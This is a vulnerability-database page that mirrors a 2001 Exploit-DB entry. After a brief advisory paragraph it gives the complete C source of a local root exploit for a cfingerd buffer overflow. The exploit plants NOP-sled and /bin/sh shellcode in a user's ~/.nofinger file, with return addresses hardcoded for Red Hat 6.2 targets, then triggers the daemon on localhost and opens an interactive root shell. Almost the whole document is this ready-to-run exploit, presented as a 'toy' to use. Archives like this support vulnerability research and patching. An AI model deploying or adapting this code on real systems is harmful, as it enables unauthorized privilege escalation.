Lucene search
K

cfingerd 1.4.1/1.4.2/1.4.3 Utilities - Local Buffer Overflow (3)

🗓️ 10 Jul 2001 00:00:00Reported by qitest1Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 22 Views

Local buffer overflow in cfingerd allows elevated privileges via .nofinger file exploitation.

Code
// source: https://www.securityfocus.com/bid/2914/info
  
cfingerd is a secure implementation of the finger daemon. cfingerd has been contributed to by many authors, and is maintained by the cfingerd development team.
  
A buffer overflow in cfingerd makes it possible for a local user to gain elevated privileges. Due to insufficient validation of input, a user can execute arbitrary code through the .nofinger file.
  
This makes it possible for a local user to gain elevated privileges, and potentially root access. 

/*
 * cfingerd 1.4.3 and prior Linux x86 local root exploit
 * by qitest1 10/07/2001
 *
 * This code successfully exploits the bof vulnerability found by
 * Steven Van Acker <[email protected]> and recently posted to
 * bugtraq. If the ALLOW_LINE_PARSING option is set, and it is set
 * by default, the bof simply occurs when reading the ~/.nofinger
 * file. If cfingerd is called by inetd as root, a root shell will be
 * spawned. But it is quite funny that the authors of cfingerd in the
 * README almost seem to encourage people to set inetd.conf for
 * calling cfingerd as root.     
 *
 * Greets: my friends on #sikurezza@Undernet
 *	   jtripper: hi man, play_the_game with me! =)
 *	   warson and warex
 *
 * Fuck:   fender'/hcezar: I want your respect..
 *
 * have fun with this 0x69 local toy! =) 
 */

#include <stdio.h>
#include <pwd.h>
#include <sys/types.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>

#define	RETPOS		84
#define LOCALHOST	"localhost"
#define	FINGERD_PORT	79

  struct targ
    {
      int                  def;
      char                 *descr;
      u_long    	   retaddr;
    };

  struct targ target[]=
    {                   
      {0, "Red Hat 6.2 with cfingerd 1.4.0 from tar.gz", 0xbffff660},
      {1, "Red Hat 6.2 with cfingerd 1.4.1 from tar.gz", 0xbffff661},
      {2, "Red Hat 6.2 with cfingerd 1.4.2 from tar.gz", 0xbffff662},
      {3, "Red Hat 6.2 with cfingerd 1.4.3 from tar.gz", 0xbffff663},
      {69, NULL, 0}
    };

  char shellcode[] =			/* Aleph1 code */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int    sel = 0, offset = 0;

  void	play_the_game(u_long retaddr, struct passwd *user);
  int	sockami(char *host, int port);
  void	shellami(int sock);
  void  usage(char *progname);
  
int
main(int argc, char **argv)
{
  int			sock, cnt;
  uid_t                 euid;
  char			sbuf[256];
  struct passwd		*user;

  printf("\n  cfingerd 1.4.3 and prior exploit by qitest1\n\n");

  while((cnt = getopt(argc,argv,"t:o:h")) != EOF)
    {
   switch(cnt)
        {
   case 't':
     sel = atoi(optarg);
     break;
   case 'o':
     offset = atoi(optarg);
     break;
   case 'h':
     usage(argv[0]);
     break;
        }
    }

  euid = geteuid();
  user = (struct passwd *)getpwuid(euid);

  printf("+User: %s\n  against: %s\n", user->pw_name, target[sel].descr);
  target[sel].retaddr += offset;
  printf("+Using: retaddr = %p...\n  ok\n", target[sel].retaddr);

  play_the_game(target[sel].retaddr, user);

  sock = sockami(LOCALHOST, FINGERD_PORT);
  sprintf(sbuf, "%s\n", user->pw_name);
  send(sock, sbuf, strlen(sbuf), 0);

  printf("+Waiting for a shell...\n  0x69 =)\n");
  sleep(1);
  shellami(sock);  
}

void
play_the_game(u_long retaddr, struct passwd *user)
{
  char			zbuf[256], nofinger_path[256];
  int			i, n = 0; 
  FILE 			*nofinger_file;

  memset(zbuf, '\x90', sizeof(zbuf));
  for(i = RETPOS - strlen(shellcode); i < RETPOS; i++)
        zbuf[i] = shellcode[n++];
  
  zbuf[RETPOS + 0] = (u_char) (retaddr & 0x000000ff);
  zbuf[RETPOS + 1] = (u_char)((retaddr & 0x0000ff00) >> 8);
  zbuf[RETPOS + 2] = (u_char)((retaddr & 0x00ff0000) >> 16);
  zbuf[RETPOS + 3] = (u_char)((retaddr & 0xff000000) >> 24);
  zbuf[RETPOS + 4] = '\x00';

  sprintf(nofinger_path, "%s/.nofinger", user->pw_dir);
  nofinger_file = fopen(nofinger_path, "w");
  printf("+Writing ~/.nofinger...\n");
  fprintf(nofinger_file, "$%s\n", zbuf);
  printf("  done\n");
  fclose(nofinger_file);

  return;
}

int
sockami(char *host, int port)
{
struct sockaddr_in address;
struct hostent *hp;
int sock;

  sock = socket(AF_INET, SOCK_STREAM, 0);
  if(sock == -1)
        {
          perror("socket()");
          exit(-1);
        }
 
  hp = gethostbyname(host);
  if(hp == NULL)
        {
          perror("gethostbyname()");
          exit(-1);
        }

  memset(&address, 0, sizeof(address));
  memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons(port);

  if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)
        {
          perror("connect()");
          exit(-1);
        }

  return(sock);
}


void
shellami(int sock)
{
  int             n;
  char            recvbuf[1024], *cmd = "id; uname -a\n";
  fd_set          rset;

  send(sock, cmd, strlen(cmd), 0);

  while (1)
    {
      FD_ZERO(&rset);
      FD_SET(sock, &rset);
      FD_SET(STDIN_FILENO, &rset);
      select(sock+1, &rset, NULL, NULL, NULL);
      if(FD_ISSET(sock, &rset))
        {
          n = read(sock, recvbuf, 1024);
          if (n <= 0)
            {
              printf("Connection closed by foreign host.\n");
              exit(0);
            }
          recvbuf[n] = 0;
          printf("%s", recvbuf);
        }
      if (FD_ISSET(STDIN_FILENO, &rset))
        {
          n = read(STDIN_FILENO, recvbuf, 1024);
          if (n > 0)
            {
              recvbuf[n] = 0;
              write(sock, recvbuf, n);
            }
        }
    }
  return;
}

void
usage(char *progname)
{
  int  i = 0;
  
  printf("Usage: %s [options]\n", progname);
  printf("Options:\n"
         "  -t target\n"
         "  -o offset\n"
	 "  -h (help)\n"
         "Available targets:\n");
  while(target[i].def != 69)
        { 
          printf("  %d) %s\n", target[i].def, target[i].descr);
          i++;
        } 

  exit(1);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2001 00:00Current
7.4High risk
Vulners AI Score7.4
22